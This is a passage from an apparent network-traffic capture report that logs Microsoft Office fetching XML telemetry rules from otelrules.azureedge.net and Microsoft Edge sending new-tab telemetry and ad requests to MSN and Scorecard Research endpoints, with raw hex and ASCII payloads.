2024-11-11 18:52:22 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:52:22 GMT Content-Type: text/xml Content-Length: 499 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:45 GMT ETag: "0x8DC582B98CEC9F6" x-ms-request-id: 8e1dc95e-801e-007b-6ed5-33e7ab000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T185222Z-174f7845968j9dchhC1EWRfe74000000053g00000000npms x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 18:52:22 UTC	499	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120630" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.5	49812	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:52:22 UTC	192	OUT	GET /rules/rule120628v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 18:52:22 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:52:22 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C8E04C8" x-ms-request-id: 95c6b661-501e-0078-17d5-3306cf000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T185222Z-174f7845968px8v7hC1EWR08ng00000005n00000000089xv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 18:52:22 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120628" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.5	49810	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:52:22 UTC	192	OUT	GET /rules/rule120627v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 18:52:22 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:52:22 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:54 GMT ETag: "0x8DC582B9E8EE0F3" x-ms-request-id: 5f09de9a-701e-0050-70d5-336767000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T185222Z-174f7845968psccphC1EWRuz9s00000005q0000000000ty9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 18:52:22 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4e 6e 5d 5b 45 65 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120627" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <SR T="2" R="^([Nn][Ee][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.5	49822	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:52:23 UTC	192	OUT	GET /rules/rule120635v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 18:52:23 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:52:23 GMT Content-Type: text/xml Content-Length: 420 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DAE3EC0" x-ms-request-id: 78b03680-101e-000b-4bd5-335e5c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T185223Z-174f7845968jrjrxhC1EWRmmrs00000005cg00000000qgw2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 18:52:23 UTC	420	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 54 74 5d 5b 4f 6f 5d 5b 53 73 5d 5b 48 68 5d 5b 49 69 5d 5b 42 62 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120635" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <SR T="2" R="^([Tt][Oo][Ss][Hh][Ii][Bb][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.5	49818	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:52:23 UTC	192	OUT	GET /rules/rule120634v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 18:52:23 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:52:23 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8972972" x-ms-request-id: 5fec14be-a01e-0021-75d5-33814c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T185223Z-174f784596886s2bhC1EWR743w000000058g00000000tdn0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 18:52:23 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120634" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.5	49814	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:52:23 UTC	192	OUT	GET /rules/rule120631v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 18:52:23 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:52:23 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B988EBD12" x-ms-request-id: 1c99e56d-601e-0097-76d5-33f33a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T185223Z-174f78459685726chC1EWRsnbg000000059000000000sr6s x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 18:52:23 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 48 68 5d 5b 55 75 5d 5b 41 61 5d 5b 57 77 5d 5b 45 65 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120631" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <SR T="2" R="([Hh][Uu][Aa][Ww][Ee][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.5	49817	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:52:23 UTC	192	OUT	GET /rules/rule120632v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 18:52:23 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:52:23 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5815C4C" x-ms-request-id: f5f8c6aa-e01e-0099-78d5-33da8a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T185223Z-174f7845968psccphC1EWRuz9s00000005gg00000000md67 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 18:52:23 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120632" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.5	49821	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:52:23 UTC	192	OUT	GET /rules/rule120633v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 18:52:23 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:52:23 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB32BB5CB" x-ms-request-id: 602c134e-d01e-0049-04d5-33e7dc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T185223Z-174f7845968glpgnhC1EWR7uec00000005kg000000001z24 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 18:52:23 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 53 73 5d 5b 41 61 5d 5b 4d 6d 5d 5b 53 73 5d 5b 55 75 5d 5b 4e 6e 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120633" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <SR T="2" R="([Ss][Aa][Mm][Ss][Uu][Nn][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.5	49827	108.139.47.108	443	7324	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:52:23 UTC	1012	OUT	GET /b2?rn=1731351140832&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=11F7061775776D430B031323746E6C70&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1 Host: sb.scorecardresearch.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: UID=137876f61be90b8575f890d1731351142; XID=137876f61be90b8575f890d1731351142
2024-11-11 18:52:23 UTC	326	IN	HTTP/1.1 204 No Content Connection: close Date: Mon, 11 Nov 2024 18:52:23 GMT Accept-CH: UA, Platform, Arch, Model, Mobile X-Cache: Miss from cloudfront Via: 1.1 043cf9310ff19c0e58a0b6e76877f570.cloudfront.net (CloudFront) X-Amz-Cf-Pop: JFK50-P1 X-Amz-Cf-Id: EpO984Cv06g--bYsEkfhTSV7r5UyMi6k1Dh5k2qsy6jO5N8rtD-R9g==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.5	49825	20.42.73.27	443	7324	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:52:23 UTC	1082	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1731351140829&time-delta-to-apply-millis=use-collector-delta&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 3809 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: _C_ETH=1; USRLOC=; MUID=11F7061775776D430B031323746E6C70; _EDGE_S=F=1&SID=182E405C6ED360811A3355686F3761D3; _EDGE_V=1
2024-11-11 18:52:23 UTC	3809	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 50 61 67 65 56 69 65 77 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 31 31 54 31 38 3a 35 32 3a 32 30 2e 38 32 32 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 31 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 30 39 35 39 66 31 65 64 2d 37 38 31 37 2d 34 32 35 34 2d 62 65 65 64 2d 37 62 61 37 34 65 32 33 31 32 66 31 22 2c 22 65 70 6f 63 68 22 3a 22 31 33 32 32 30 37 33 31 39 38 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 Data Ascii: {"name":"MS.News.Web.PageView","time":"2024-11-11T18:52:20.822Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":1,"installId":"0959f1ed-7817-4254-beed-7ba74e2312f1","epoch":"1322073198"},"app":{"locale
2024-11-11 18:52:23 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=64cf6bee41ae45f19e7864aad764c885&HASH=64cf&LV=202411&V=4&LU=1731351143399; Domain=.microsoft.com; Expires=Tue, 11 Nov 2025 18:52:23 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=98d4a1fdb7124306a48846574bea30de; Domain=.microsoft.com; Expires=Mon, 11 Nov 2024 19:22:23 GMT; Path=/;Secure; SameSite=None time-delta-millis: 2570 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Mon, 11 Nov 2024 18:52:23 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.5	49826	20.96.153.111	443	7324	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:52:23 UTC	1067	OUT	GET /v4/api/selection?nct=1&fmt=json&nocookie=0&locale=en-us&country=US&muid=11F7061775776D430B031323746E6C70&ACHANNEL=4&ABUILD=117.0.5938.132&clr=esdk&edgeid=6686581979505309747&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&ISSIGNEDIN=0&MSN_CANVAS=2&ISMOBILE=0&BROWSER=6&placement=88000308\|10837393&bcnt=1\|1&asid=0a39de60b65c40b7f7815e4cd3c9b88a HTTP/1.1 Host: arc.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: _C_ETH=1; USRLOC=; MUID=11F7061775776D430B031323746E6C70; _EDGE_S=F=1&SID=182E405C6ED360811A3355686F3761D3; _EDGE_V=1
2024-11-11 18:52:23 UTC	674	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Length: 297 Content-Type: application/json; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [{"DcoPlusDebug":"Status: Ok"},{"RADIDS":"2,,"},{"OPTOUTSTATE":"256"},{"REGIONALPOLICY":"0"}] Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Allow-Credentials: true X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Mon, 11 Nov 2024 18:52:22 GMT Connection: close
2024-11-11 18:52:23 UTC	297	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 65 72 72 6f 72 73 22 3a 5b 7b 22 70 6c 61 63 65 6d 65 6e 74 22 3a 22 38 38 30 30 30 33 30 38 22 2c 22 65 72 72 6f 72 73 22 3a 5b 7b 22 63 6f 64 65 22 3a 32 30 34 30 2c 22 6d 73 67 22 3a 22 44 65 6d 61 6e 64 20 73 6f 75 72 63 65 20 72 65 74 75 72 6e 73 20 65 72 72 6f 72 20 28 4e 61 6d 65 3a 20 47 4e 5f 70 73 2c 20 45 72 72 6f 72 3a 20 4e 6f 20 65 6c 69 67 69 62 6c 65 20 63 6f 6e 74 65 6e 74 2e 29 2e 22 7d 5d 7d 2c 7b 22 70 6c 61 63 65 6d 65 6e 74 22 3a 22 31 30 38 33 37 33 39 33 22 2c 22 65 72 72 6f 72 73 22 3a 5b 7b 22 63 6f 64 65 22 3a 32 30 34 30 2c 22 6d 73 67 22 3a 22 44 65 6d 61 6e 64 20 73 6f 75 72 63 65 20 72 65 74 75 72 6e 73 20 65 72 72 6f 72 20 28 4e 61 6d 65 3a 20 47 Data Ascii: {"batchrsp":{"ver":"1.0","errors":[{"placement":"88000308","errors":[{"code":2040,"msg":"Demand source returns error (Name: GN_ps, Error: No eligible content.)."}]},{"placement":"10837393","errors":[{"code":2040,"msg":"Demand source returns error (Name: G

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.5	49829	13.107.246.40	443	7324	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
